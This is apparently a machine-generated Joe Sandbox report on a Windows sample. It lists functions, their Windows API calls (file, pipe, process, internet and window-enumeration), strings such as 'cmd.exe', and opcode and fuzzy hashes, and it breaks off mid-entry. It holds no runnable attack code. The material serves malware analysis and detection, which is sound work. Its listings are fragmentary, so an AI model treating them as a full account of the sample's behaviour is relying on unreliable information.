                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: AttributesErrorException@8FileLastThrow
                                          • String ID: boost::filesystem::status$mqzp
                                          • API String ID: 1873943377-626996501
                                          • Opcode ID: a684231d7d915833a63b7d751e50380df92a9f52dba429e8b6db83a936e77e21
                                          • Instruction ID: c73bb4386045580600ce24f939f510d784d7783e3a799464f62bb6d1f742bde3
                                          • Opcode Fuzzy Hash: a684231d7d915833a63b7d751e50380df92a9f52dba429e8b6db83a936e77e21
                                          • Instruction Fuzzy Hash: 7341A572D043589FCB15DFA9C885BAEF7B4FF46314F04422AE925EB291D734A908CB91
                                          Function 008ED2F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetFileAttributesW.KERNEL32(?,707A716D,?,?,?,?,?,?,?,00940700,000000FF,?,00864A32), ref: 008ED332
                                          • CreateFileW.KERNEL32(?,00000000,00000007,00000000,00000003,02000000,00000000,?,?,?,?,?,?,?,?,00940700), ref: 008ED3CD
                                            • Part of subcall function 008ECFE0: CreateFileW.KERNEL32(008ED3FE,00000008,00000007,00000000,00000003,02200000,00000000,707A716D,?,00000000,?,008ED3FE,?), ref: 008ED023
                                            • Part of subcall function 008ECFE0: CloseHandle.KERNEL32(00000000), ref: 008ED0A4
                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00940700), ref: 008ED419
                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00940700), ref: 008ED429
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CloseFileHandle$Create$Attributes
                                          • String ID: mqzp
                                          • API String ID: 2696689969-955126501
                                          • Opcode ID: 45d36d87f85d4e3aa506a39f99cf2f010eb0e9ea40214768b72f35e7407564ae
                                          • Instruction ID: ef3b59c69a2b724177a711d7a4649c6ca2f35c18073cc771303cd924e074b215
                                          • Opcode Fuzzy Hash: 45d36d87f85d4e3aa506a39f99cf2f010eb0e9ea40214768b72f35e7407564ae
                                          • Instruction Fuzzy Hash: 6F519EB5D01348EFDB14CFA9D845BAEBBB4FB0A318F148129E915E7381D730A904CBA1
                                          Function 00927626 Relevance: 7.7, APIs: 5, Instructions: 198pipeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreatePipe.KERNEL32(?,?,0000000C,?,?,?,?,?,?,?,?,0097CF58,00000028,00914F0F,?,00000400), ref: 009276D4
                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,0097CF58,00000028,00914F0F,?,00000400,00000080,0097CB58,00000028), ref: 009276DE
                                          • __dosmaperr.LIBCMT ref: 009276E5
                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,0097CF58,00000028,00914F0F,?,00000400,00000080,0097CB58,00000028), ref: 00927710
                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,0097CF58,00000028,00914F0F,?,00000400,00000080,0097CB58,00000028), ref: 00927719
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CloseHandle$CreateErrorLastPipe__dosmaperr
                                          • String ID:
                                          • API String ID: 155357802-0
                                          • Opcode ID: e8090c9952e80063a2a5c323536f0711bca370d1915a763e8e40d0c8eefc4fb6
                                          • Instruction ID: 5d177022aac325ac83af62536ccd021e150117bdf8bb10d9f0f2e470202a7062
                                          • Opcode Fuzzy Hash: e8090c9952e80063a2a5c323536f0711bca370d1915a763e8e40d0c8eefc4fb6
                                          • Instruction Fuzzy Hash: 49712671B2C2158BCB10AFB8EC45BAE7BA5AF89324F184259E015DF2E6D734D802D751
                                          Function 009273C1 Relevance: 7.6, APIs: 5, Instructions: 64synchronizationCOMMON
                                          Download Yara Rule
                                          APIs
                                          • WaitForSingleObject.KERNEL32(00000010,00000000,00000000,00000000,00000000,?,?,0091550C,00000000,00000000,00000001,?,0097CB38,00000010,00868943,00000000), ref: 009273E4
                                          • GetExitCodeProcess.KERNEL32(00000010,00000000), ref: 009273F3
                                          • GetLastError.KERNEL32(?,?,0091550C,00000000,00000000,00000001,?,0097CB38,00000010,00868943,00000000), ref: 0092740A
                                          • __dosmaperr.LIBCMT ref: 0092742E
                                          • CloseHandle.KERNEL32(00000010,?,?,0091550C,00000000,00000000,00000001,?,0097CB38,00000010,00868943,00000000), ref: 00927441
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CloseCodeErrorExitHandleLastObjectProcessSingleWait__dosmaperr
                                          • String ID:
                                          • API String ID: 2013101682-0
                                          • Opcode ID: 7e6c63dfab50c0d4dec020c790c937fba0a761e4f5b771aea9697b39259b8de6
                                          • Instruction ID: d3ecf70ec26ae5646fe1bfa8136ab863644019e94fc03616c33258cda37957c4
                                          • Opcode Fuzzy Hash: 7e6c63dfab50c0d4dec020c790c937fba0a761e4f5b771aea9697b39259b8de6
                                          • Instruction Fuzzy Hash: D2112C3660C1246BC7117FE9AC40A69FF6EEF82320B754214F818A3264DB308D4197A1
                                          Function 00925D97 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: mqzp
                                          • API String ID: 0-955126501
                                          • Opcode ID: 69136730b9d863ab5e464e2a377de0eeec12964e174c02292f5c60d2f20f767b
                                          • Instruction ID: e4d3ec3600f03576a838abc31bc72f890adf2ec497e2500806e4c76480b17ef0
                                          • Opcode Fuzzy Hash: 69136730b9d863ab5e464e2a377de0eeec12964e174c02292f5c60d2f20f767b
                                          • Instruction Fuzzy Hash: 6E51F671E18A29AFCF109FA8E945FEE7BB8EF45320F160159F405A7296D7348A41CB60
                                          Function 00915902 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 101COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _free
                                          • String ID: COMSPEC$cmd.exe$mqzp
                                          • API String ID: 269201875-3496974417
                                          • Opcode ID: 01a055ccb6ec7ae6e982d6401a7aed851905ab05af49d66de16325b3e5d7af8d
                                          • Instruction ID: b292405b34eeab08359177eaf227e1f5df6a8a46f29b9fab6af633400a55c3a2
                                          • Opcode Fuzzy Hash: 01a055ccb6ec7ae6e982d6401a7aed851905ab05af49d66de16325b3e5d7af8d
                                          • Instruction Fuzzy Hash: CE31B871F0152DDB8B20AFA58841AEFBBBDDEC1330B53016AF911A7251DA304D81CBE2
                                          Function 009260CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • CloseHandle.KERNEL32(00000000,00000000,008D96CC,?,00925FEA,008D96CC,0097CEF8,0000000C), ref: 00926122
                                          • GetLastError.KERNEL32(?,00925FEA,008D96CC,0097CEF8,0000000C), ref: 0092612C
                                          • __dosmaperr.LIBCMT ref: 00926157
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CloseErrorHandleLast__dosmaperr
                                          • String ID: ([R
                                          • API String ID: 2583163307-355826189
                                          • Opcode ID: 356b054ab2653398c89606a1b5eb085df75589436d77830ba5db5a1c516379fb
                                          • Instruction ID: 284f566b3958c554a4cda25fac707693b1257900f441398dfd32bbb9de17db36
                                          • Opcode Fuzzy Hash: 356b054ab2653398c89606a1b5eb085df75589436d77830ba5db5a1c516379fb
                                          • Instruction Fuzzy Hash: 5901263261D23016D6241739B88AFBE7B4D4BC6B38F394259F845875DFDE709C819290
                                          Function 009259B2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • WriteFile.KERNEL32(7408458B,?,?,?,00000000,?,0091B2AE,E0830C40,?,00925EEE,008D96F6,0091B2AE,?,0091B2AE,0091B2AE,008D96F6), ref: 00925A4D
                                          • GetLastError.KERNEL32(?,00925EEE,008D96F6,0091B2AE,?,0091B2AE,0091B2AE,008D96F6,0091B2AE,?,0097CED8,00000014,009122E4,00000000,8304488B,008D96F6), ref: 00925A76
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorFileLastWrite
                                          • String ID: mqzp
                                          • API String ID: 442123175-955126501
                                          • Opcode ID: cffe2c77b0bf10278470c2e09a47a723ec32f72d035f5f3524abee4c89ccde3c
                                          • Instruction ID: ebd8eb584cbb8be8b428d86ba47b044b9f39ef328011024a608f208cc5ecb29e
                                          • Opcode Fuzzy Hash: cffe2c77b0bf10278470c2e09a47a723ec32f72d035f5f3524abee4c89ccde3c
                                          • Instruction Fuzzy Hash: BD21A035A146299FCB24CF69D9C1BE9B3F8FB48301F1145AAE94AD7251D730AE85CF20
                                          Function 00874BE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62COMMON
                                          Download Yara Rule
                                          APIs
                                          • GlobalMemoryStatusEx.KERNEL32(?,00000000), ref: 00874C0D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: GlobalMemoryStatus
                                          • String ID: @$mqzp
                                          • API String ID: 1890195054-2473717746
                                          • Opcode ID: bfaa885fe928745d5a66e998e9c066671621021c3e43c62a712929d6cf040860
                                          • Instruction ID: f39838bed1ad1b1cec122998fca218a075b7660c0bac4c6070bd3e437e936a01
                                          • Opcode Fuzzy Hash: bfaa885fe928745d5a66e998e9c066671621021c3e43c62a712929d6cf040860
                                          • Instruction Fuzzy Hash: B021A171A29B449BC221EF39D842A1BB7E5FF9AB40F400B1DF485A7241EB70A454CBD2
                                          Function 00874DAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                          Download Yara Rule
                                          APIs
                                          • NetApiBufferFree.NETAPI32(00000000), ref: 00874DC6
                                          • NetApiBufferFree.NETAPI32(00000000), ref: 00874DE2
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: BufferFree
                                          • String ID: Default
                                          • API String ID: 710964542-753088835
                                          • Opcode ID: 025432484affd1ffcf266b03e6bcf04dc9fa7250a8ccda57fa49e08af7cd275a
                                          • Instruction ID: d37ffac4bc6c3e107dd610ee8763e981d75fb811521a4564d34b9b4ac1334f46
                                          • Opcode Fuzzy Hash: 025432484affd1ffcf266b03e6bcf04dc9fa7250a8ccda57fa49e08af7cd275a
                                          • Instruction Fuzzy Hash: 70F0A435A192099BCB28DF58D461ABDB771FB48321F14422FD816A3294DB32A900CF50
                                          Function 009296CC Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • SetFilePointerEx.KERNEL32(00000000,00000000,008D96F6,00000000,00000002,008D96F6,00000000,?,?,?,0092977B,00000000,00000000,008D96F6,00000002), ref: 00929705
                                          • GetLastError.KERNEL32(?,0092977B,00000000,00000000,008D96F6,00000002,?,0091B1D2,?,00000000,00000000,00000001,?,008D96F6,?,0091B287), ref: 0092970F
                                          • __dosmaperr.LIBCMT ref: 00929716
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorFileLastPointer__dosmaperr
                                          • String ID:
                                          • API String ID: 2336955059-0
                                          • Opcode ID: 6c3fa721db10e738637fb65ebf7b48c530e3286127bc259498e2f593e082ae15
                                          • Instruction ID: 5adfbf99200b87571d918251dc43ac6b763893611102b3d3e2c5d2c750c22969
                                          • Opcode Fuzzy Hash: 6c3fa721db10e738637fb65ebf7b48c530e3286127bc259498e2f593e082ae15
                                          • Instruction Fuzzy Hash: 44014C33728128BBCB058FA9EC45DAE7B6DDF86330F240248F81197290EA719D519B90
                                          Function 00876B20 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 172networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetConnectW.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00876BE4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ConnectInternet
                                          • String ID: 0.0.0.1
                                          • API String ID: 3050416762-2547487335
                                          • Opcode ID: c16807874074fcd284166cb5078a9fc35c390f53e67d2a2a0557649b481f7e28
                                          • Instruction ID: f60cc8aa2ace53ac4c2939423ef56adc9285de39fd1843837b05a56bc6cf5ebc
                                          • Opcode Fuzzy Hash: c16807874074fcd284166cb5078a9fc35c390f53e67d2a2a0557649b481f7e28
                                          • Instruction Fuzzy Hash: BA519E71A101189BDF28DF28CC85B9CB7B6FF84304F908199E949E7295D738EA94CF58
                                          Function 00876550 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66COMMON
                                          Download Yara Rule
                                          APIs
                                          • GlobalMemoryStatusEx.KERNEL32(707A716D), ref: 0087656F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: GlobalMemoryStatus
                                          • String ID: mqzp
                                          • API String ID: 1890195054-955126501
                                          • Opcode ID: d91feb802f0927479d8b420fa2d689ccf2387227295fa491480eb25a5e6e7284
                                          • Instruction ID: a2e81f3d03a7f690d28f0e8a1abdcd730f484029f5ee6a118a38f3e50e3ffc23
                                          • Opcode Fuzzy Hash: d91feb802f0927479d8b420fa2d689ccf2387227295fa491480eb25a5e6e7284
                                          • Instruction Fuzzy Hash: 1E116370209A088BE624AB74D55273E73D4EB55721F80066DEE8EC7689FE16EC119A83
                                          Function 008760A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18COMMON
                                          Download Yara Rule
                                          APIs
                                          • EnumWindows.USER32(00875A90,?), ref: 008760C0
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: EnumWindows
                                          • String ID: mqzp
                                          • API String ID: 1129996299-955126501
                                          • Opcode ID: 800d32f33fe900bc61c138a6acb61a1580a5b2954080de34f7edc61c4a49acec
                                          • Instruction ID: 4e70412958f41da468aeeba59e83394b24065faa5b3c238088c8e383e39374fe
                                          • Opcode Fuzzy Hash: 800d32f33fe900bc61c138a6acb61a1580a5b2954080de34f7edc61c4a49acec
                                          • Instruction Fuzzy Hash: 51E01275A1460CEBC700EFB4DD45A6EBBF8EB04300F9041B9D806E7241DE706A449B51
                                          Function 008D970D Relevance: 3.1, APIs: 2, Instructions: 71COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Xfsopenstd::_
                                          • String ID:
                                          • API String ID: 2914972069-0
                                          • Opcode ID: e2bf1757b1c87c06563e1cbef7dd98b4bee3f914865c7bc55786733f9382d0df
                                          • Instruction ID: 4f891f3ec28fbb7e627127b2cfe1d6f1edef4820235145be83b9cf14fc8cb7c3
                                          • Opcode Fuzzy Hash: e2bf1757b1c87c06563e1cbef7dd98b4bee3f914865c7bc55786733f9382d0df
                                          • Instruction Fuzzy Hash: 1F11553271420927CB251D28EC02FAB3B89FFA27A4F184236FC99D53A0E721CC02C380
                                          Function 009242CC Relevance: 3.1, APIs: 2, Instructions: 67COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetStdHandle.KERNEL32(000000F6), ref: 00924318
                                          • GetFileType.KERNEL32(00000000), ref: 0092432A
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: FileHandleType
                                          • String ID:
                                          • API String ID: 3000768030-0
                                          • Opcode ID: b3a6d96382740e8a4142455ef359a405d101ac806e6840eee119cf7e1b804670
                                          • Instruction ID: 124d796241dcded26496d691b365fc52b4e70e5a860a9694aee8c336d8ac3731
                                          • Opcode Fuzzy Hash: b3a6d96382740e8a4142455ef359a405d101ac806e6840eee119cf7e1b804670
                                          • Instruction Fuzzy Hash: 0B11B93150876287C730CE3EAD88622BE98AB67330B380B1ED1B6D65F9D734E985D641
                                          Function 00876FF8 Relevance: 1.7, APIs: 1, Instructions: 163filenetworkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetReadFile.WININET(?,?,00000400,?), ref: 00877011
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
